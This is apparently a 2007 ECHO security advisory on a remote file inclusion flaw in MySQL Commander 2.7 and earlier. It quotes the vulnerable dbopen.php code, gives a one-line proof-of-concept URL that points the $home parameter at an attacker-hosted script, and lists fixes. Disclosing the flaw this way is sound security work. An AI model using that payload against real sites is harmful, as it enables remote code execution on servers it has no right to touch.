MySQL Commander <= 2.7 (home) Remote File Inclusion Vulnerability

                                                ____________________   ___ ___ ________
\\_   _____/\\_   ___  /   |   \\_____    
 |    __)_ /      //    ~    /   |    
 |        \\     \\___    Y    /    |    
/_______  / \\______  /\\___|_  /\\_______  /
        /         /       /         / 

                                        .OR.ID
ECHO_ADV_73$2007

-----------------------------------------------------------------------------------------
[ECHO_ADV_73$2007]&nbsp;MySQL&nbsp;Commander&nbsp;<=&nbsp;2.7&nbsp;(home)&nbsp;Remote&nbsp;File&nbsp;Inclusion&nbsp;Vulnerability
-----------------------------------------------------------------------------------------

Author&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;M.Hasran&nbsp;Addahroni
Date&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;March,&nbsp;13th&nbsp;2007
Location&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;Australia,&nbsp;Sydney
Web&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;http://advisories.echo.or.id/adv/adv73-K-159-2007.txt
Critical&nbsp;Lvl&nbsp;&nbsp;&nbsp;:&nbsp;Dangerous
Impact	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;System&nbsp;access
Where	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;From&nbsp;Remote
---------------------------------------------------------------------------

Affected&nbsp;software&nbsp;description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application&nbsp;&nbsp;&nbsp;:&nbsp;MySQL&nbsp;Commander&nbsp;
version&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;<=&nbsp;2.7
Vendor&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;http://www.bitesser.de/freeware/script.php?id=1
Description&nbsp;:

A&nbsp;small&nbsp;tool&nbsp;to&nbsp;backup&nbsp;and&nbsp;restore&nbsp;MySQL&nbsp;Tables.&nbsp;Features:&nbsp;backup/restore&nbsp;of&nbsp;binaries;&nbsp;parametric&nbsp;backup;&nbsp;multiserver;&nbsp;Gzipping;&nbsp;killing&nbsp;of&nbsp;backup&nbsp;files;&nbsp;german/english;&nbsp;Online&nbsp;help&nbsp;in&nbsp;popup.
This&nbsp;tool&nbsp;makes&nbsp;backups&nbsp;of&nbsp;all&nbsp;the&nbsp;tables&nbsp;in&nbsp;a&nbsp;database.&nbsp;The&nbsp;data&nbsp;will&nbsp;be&nbsp;stored&nbsp;in&nbsp;textfiles&nbsp;located&nbsp;in&nbsp;the&nbsp;\"data\"directory.&nbsp;You&nbsp;can&nbsp;backup&nbsp;and&nbsp;restore&nbsp;the&nbsp;\"SQL&nbsp;create&nbsp;table&nbsp;command\"&nbsp;and&nbsp;the&nbsp;\"content\".&nbsp;So&nbsp;you&nbsp;can&nbsp;easily&nbsp;make&nbsp;copies&nbsp;of&nbsp;your&nbsp;tables.&nbsp;(i.e.&nbsp;copy&nbsp;a&nbsp;hole&nbsp;database&nbsp;with&nbsp;a&nbsp;few&nbsp;clicks).
You&nbsp;will&nbsp;need&nbsp;PHP&nbsp;since&nbsp;version&nbsp;4.1&nbsp;and&nbsp;MySQL&nbsp;since&nbsp;Version&nbsp;3.23

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~
-&nbsp;Invalid&nbsp;include&nbsp;function&nbsp;at&nbsp;ressourcen/dbopen.php&nbsp;:&nbsp;&nbsp;
&nbsp;&nbsp;	
----------------ressourcen/dbopen.php-------------------
<?php
include&nbsp;$home.\"ressourcen/class.systemObject.php\";
include&nbsp;$home.\"ressourcen/class.DatabaseMysql.php\";
$db&nbsp;=&nbsp;new&nbsp;DatabaseMysql($config->dbuser[$_SESSION[\'which_db\']],&nbsp;$config->dbpass[$_SESSION[\'which_db\']],&nbsp;$config->dbserver[$_SESSION[\'which_db\']]);
$ok&nbsp;=&nbsp;$db->init();

if&nbsp;(!$ok&nbsp;and&nbsp;$db->error&nbsp;and&nbsp;(strlen($config->dbserver[1])&nbsp;>&nbsp;0))&nbsp;{
	echo&nbsp;$db->getError();
}

?>
----------------------------------------------------------------


Variables&nbsp;$home&nbsp;is&nbsp;not&nbsp;properly&nbsp;sanitized.
When&nbsp;register_globals=on&nbsp;and&nbsp;allow_fopenurl=on&nbsp;an&nbsp;attacker&nbsp;can&nbsp;exploit&nbsp;this&nbsp;vulnerability&nbsp;with&nbsp;a&nbsp;simple&nbsp;php&nbsp;injection&nbsp;script.


Poc/Exploit:
~~~~~~~~~

http://www.target.com/[mysqlcommander_path]/ressourcen/dbopen.php?home=http://attacker.com/evil?


Solution:
~~~~~~

-&nbsp;Sanitize&nbsp;variable&nbsp;$home&nbsp;on&nbsp;affected&nbsp;file.
-&nbsp;Turn&nbsp;off&nbsp;register_globals

---------------------------------------------------------------------------

Shoutz:
~~~~
~&nbsp;ping&nbsp;-&nbsp;my&nbsp;dearest&nbsp;wife,&nbsp;and&nbsp;my&nbsp;little&nbsp;son,&nbsp;for&nbsp;all&nbsp;the&nbsp;luv&nbsp;the&nbsp;tears&nbsp;n&nbsp;the&nbsp;breath
~&nbsp;y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,negative,&nbsp;str0ke&nbsp;(for&nbsp;the&nbsp;best&nbsp;comments)
~&nbsp;masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,baylaw
~&nbsp;SinChan,h4ntu,cow_1seng,sakitjiwa,&nbsp;m_beben,&nbsp;rizal,&nbsp;cR4SH3R,&nbsp;madkid,&nbsp;kuntua,&nbsp;stev_manado,&nbsp;nofry,&nbsp;x16
~&nbsp;[email protected]
~&nbsp;#aikmel&nbsp;#e-c-h-o&nbsp;@irc.dal.net

---------------------------------------------------------------------------
Contact:
~~~~~

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;K-159&nbsp;||&nbsp;echo|staff&nbsp;||&nbsp;eufrato[at]gmail[dot]com
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Homepage:&nbsp;http://k-159.echo.or.id/

--------------------------------&nbsp;[&nbsp;EOF&nbsp;]&nbsp;----------------------------------

&nbsp;